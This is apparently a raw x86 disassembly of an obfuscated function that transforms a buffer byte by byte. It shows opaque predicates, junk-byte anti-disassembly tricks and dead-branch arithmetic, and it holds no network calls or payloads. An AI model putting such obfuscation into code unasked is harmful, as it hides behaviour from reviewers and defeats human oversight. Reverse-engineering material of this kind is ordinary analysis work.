mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x6e0], eax
mov dword [esp + 0x154c], 0x40180000
mov dword [esp + 0x1548], 0
xor eax, eax
je 0x4375b9
add dl, dh
movups xmm0, xmmword [esp + 0x1548]
movsd xmm0, qword [esp + 0x1548]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1540], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x6e4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x6e4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6ec], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x6e8], eax
call fcn.00434890
mov ecx, dword [esp + 0x6e8]
mov dl, al
mov eax, dword [esp + 0x6ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4376e9
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x6d0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x6d0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6d4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x6d4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x6d8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x6d8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4376e7
mov dword [esp + 0x1554], 0xa
jmp 0x437816
jmp 0x4376e9
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x6c4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x6c4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6cc], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x6c8], eax
call fcn.00434890
mov ecx, dword [esp + 0x6c8]
mov dl, al
mov eax, dword [esp + 0x6cc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437814
movsd xmm0, qword [esp + 0x1540]
movsd qword [esp + 0x6b8], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x6b0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x6b0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6c0], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x6b4], eax
call fcn.00434890
mov ecx, dword [esp + 0x6b4]
movsd xmm0, qword [esp + 0x6b8]
mov dl, al
mov eax, dword [esp + 0x6c0]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1554], eax
jmp 0x437816
ud2
mov eax, dword [esp + 0x6dc]
mov ecx, dword [esp + 0x6e0]
and ecx, dword [esp + 0x1554]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
mov byte [eax + ecx], dl
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x6a4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x6a4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x6ac], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 9
mov dword [esp + 0x6a8], eax
call fcn.00434890
mov ecx, dword [esp + 0x6a8]
mov dl, al
mov eax, dword [esp + 0x6ac]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438a49
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x698], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x698]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x69c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x69c]
movsx ecx, cl
shl ecx, 3
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x6a0], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x6a0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437e8e
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x688], eax
mov dword [esp + 0x1534], 0x401c0000
mov dword [esp + 0x1530], 0
xor eax, eax
je 0x43795d
add dl, dh
movups xmm0, xmmword [esp + 0x1530]
movsd xmm0, qword [esp + 0x1530]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1528], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x68c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x68c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x694], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x690], eax
call fcn.00434890
mov ecx, dword [esp + 0x690]
mov dl, al
mov eax, dword [esp + 0x694]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437a8d
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x67c], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x67c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x680], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x680]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x684], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x684]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437a8b
mov dword [esp + 0x153c], 0xa
jmp 0x437bba
jmp 0x437a8d
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x670], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x670]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x678], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x674], eax
call fcn.00434890
mov ecx, dword [esp + 0x674]
mov dl, al
mov eax, dword [esp + 0x678]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437bb8
movsd xmm0, qword [esp + 0x1528]
movsd qword [esp + 0x660], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x658], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x658]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x66c], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x65c], eax
call fcn.00434890
mov ecx, dword [esp + 0x65c]
movsd xmm0, qword [esp + 0x660]
mov dl, al
mov eax, dword [esp + 0x66c]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x153c], eax
jmp 0x437bba
ud2
mov eax, dword [esp + 0x688]
mov ecx, dword [esp + 0x153c]
add eax, ecx
mov dword [esp + 0x644], eax
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x648], eax
mov dword [esp + 0x151c], 0x401c0000
mov dword [esp + 0x1518], 0
xor eax, eax
je 0x437c05
add dl, dh
movups xmm0, xmmword [esp + 0x1518]
movsd xmm0, qword [esp + 0x1518]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1510], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x64c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x64c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x654], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x650], eax
call fcn.00434890
mov ecx, dword [esp + 0x650]
mov dl, al
mov eax, dword [esp + 0x654]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437d35
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x638], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x638]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x63c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x63c]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x640], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x640]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437d33
mov dword [esp + 0x1524], 0xa
jmp 0x437e62
jmp 0x437d35
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x62c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x62c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x634], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x630], eax
call fcn.00434890
mov ecx, dword [esp + 0x630]
mov dl, al
mov eax, dword [esp + 0x634]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437e60
movsd xmm0, qword [esp + 0x1510]
movsd qword [esp + 0x620], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x618], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x618]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x628], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x61c], eax
call fcn.00434890
mov ecx, dword [esp + 0x61c]
movsd xmm0, qword [esp + 0x620]
mov dl, al
mov eax, dword [esp + 0x628]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1524], eax
jmp 0x437e62
ud2
mov eax, dword [esp + 0x644]
mov ecx, dword [esp + 0x648]
and ecx, dword [esp + 0x1524]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
mov byte [eax + ecx], dl
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x60c], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x60c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x610], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x610]
movsx ecx, cl
imul ecx, ecx, 3
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x614], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x614]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438461
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x5fc], eax
mov dword [esp + 0x1504], 0x40200000
mov dword [esp + 0x1500], 0
xor eax, eax
je 0x437f30
add dl, dh
movups xmm0, xmmword [esp + 0x1500]
movsd xmm0, qword [esp + 0x1500]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x14f8], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x600], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x600]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x608], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x604], eax
call fcn.00434890
mov ecx, dword [esp + 0x604]
mov dl, al
mov eax, dword [esp + 0x608]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438060
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x5f0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x5f0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5f4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x5f4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x5f8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x5f8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43805e
mov dword [esp + 0x150c], 0xa
jmp 0x43818d
jmp 0x438060
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x5e4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x5e4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5ec], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x5e8], eax
call fcn.00434890
mov ecx, dword [esp + 0x5e8]
mov dl, al
mov eax, dword [esp + 0x5ec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43818b
movsd xmm0, qword [esp + 0x14f8]
movsd qword [esp + 0x5d8], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x5d0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x5d0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5e0], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x5d4], eax
call fcn.00434890
mov ecx, dword [esp + 0x5d4]
movsd xmm0, qword [esp + 0x5d8]
mov dl, al
mov eax, dword [esp + 0x5e0]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x150c], eax
jmp 0x43818d
ud2
mov eax, dword [esp + 0x5fc]
mov ecx, dword [esp + 0x150c]
add eax, ecx
mov dword [esp + 0x5bc], eax
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x5c0], eax
mov dword [esp + 0x14ec], 0x40200000
mov dword [esp + 0x14e8], 0
xor eax, eax
je 0x4381d8
add dl, dh
movups xmm0, xmmword [esp + 0x14e8]
movsd xmm0, qword [esp + 0x14e8]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x14e0], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x5c4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x5c4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5cc], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x5c8], eax
call fcn.00434890
mov ecx, dword [esp + 0x5c8]
mov dl, al
mov eax, dword [esp + 0x5cc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438308
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x5b0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x5b0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5b4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x5b4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x5b8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x5b8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438306
mov dword [esp + 0x14f4], 0xa
jmp 0x438435
jmp 0x438308
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x5a4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x5a4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5ac], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x5a8], eax
call fcn.00434890
mov ecx, dword [esp + 0x5a8]
mov dl, al
mov eax, dword [esp + 0x5ac]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438433
movsd xmm0, qword [esp + 0x14e0]
movsd qword [esp + 0x598], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x590], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x590]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x5a0], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x594], eax
call fcn.00434890
mov ecx, dword [esp + 0x594]
movsd xmm0, qword [esp + 0x598]
mov dl, al
mov eax, dword [esp + 0x5a0]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x14f4], eax
jmp 0x438435
ud2
mov eax, dword [esp + 0x5bc]
mov ecx, dword [esp + 0x5c0]
and ecx, dword [esp + 0x14f4]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
mov byte [eax + ecx], dl
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x584], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x584]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x58c], eax
call fcn.00434880
movsx eax, al
shl eax, 3
mov dword [esp + 0x588], eax
call fcn.00434890
mov ecx, dword [esp + 0x588]
mov dl, al
mov eax, dword [esp + 0x58c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438a47
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x574], eax
mov eax, dword [esp + 0x1478]
add eax, 5
cvtsi2sd xmm0, eax
movsd qword [esp + 0x14d0], xmm0
xor eax, eax
je 0x43850f
add dl, dh
movups xmm0, xmmword [esp + 0x14d0]
movsd xmm0, qword [esp + 0x14d0]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x14c8], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x578], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x578]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x580], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x57c], eax
call fcn.00434890
mov ecx, dword [esp + 0x57c]
mov dl, al
mov eax, dword [esp + 0x580]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43863f
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x568], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x568]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x56c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x56c]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x570], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x570]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43863d
mov dword [esp + 0x14dc], 0xa
jmp 0x43876c
jmp 0x43863f
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x55c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x55c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x564], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x560], eax
call fcn.00434890
mov ecx, dword [esp + 0x560]
mov dl, al
mov eax, dword [esp + 0x564]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43876a
movsd xmm0, qword [esp + 0x14c8]
movsd qword [esp + 0x550], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x548], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x548]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x558], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x54c], eax
call fcn.00434890
mov ecx, dword [esp + 0x54c]
movsd xmm0, qword [esp + 0x550]
mov dl, al
mov eax, dword [esp + 0x558]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x14dc], eax
jmp 0x43876c
ud2
mov eax, dword [esp + 0x574]
movsx ecx, byte [esp + 0x14dc]
add eax, ecx
mov dword [esp + 0x534], eax
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x538], eax
mov eax, dword [esp + 0x1478]
add eax, 5
cvtsi2sd xmm0, eax
movsd qword [esp + 0x14b8], xmm0
xor eax, eax
je 0x4387b9
add dl, dh
movups xmm0, xmmword [esp + 0x14b8]
movsd xmm0, qword [esp + 0x14b8]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x14b0], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x53c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x53c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x544], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x540], eax
call fcn.00434890
mov ecx, dword [esp + 0x540]
mov dl, al
mov eax, dword [esp + 0x544]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4388e9
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x528], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x528]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x52c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x52c]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x530], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x530]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4388e7
mov dword [esp + 0x14c4], 0xa
jmp 0x438a16
jmp 0x4388e9
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x51c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x51c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x524], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x520], eax
call fcn.00434890
mov ecx, dword [esp + 0x520]
mov dl, al
mov eax, dword [esp + 0x524]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438a14
movsd xmm0, qword [esp + 0x14b0]
movsd qword [esp + 0x510], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x508], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x508]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x518], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x50c], eax
call fcn.00434890
mov ecx, dword [esp + 0x50c]
movsd xmm0, qword [esp + 0x510]
mov dl, al
mov eax, dword [esp + 0x518]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x14c4], eax
jmp 0x438a16
ud2
mov eax, dword [esp + 0x534]
mov ecx, dword [esp + 0x538]
mov edx, dword [esp + 0x14c4]
movsx edx, dl
and ecx, edx
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
mov byte [eax + ecx], dl
jmp 0x438a49
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x4fc], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x4fc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x500], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x500]
movsx ecx, cl
shl ecx, 2
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x504], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x504]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43901c
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
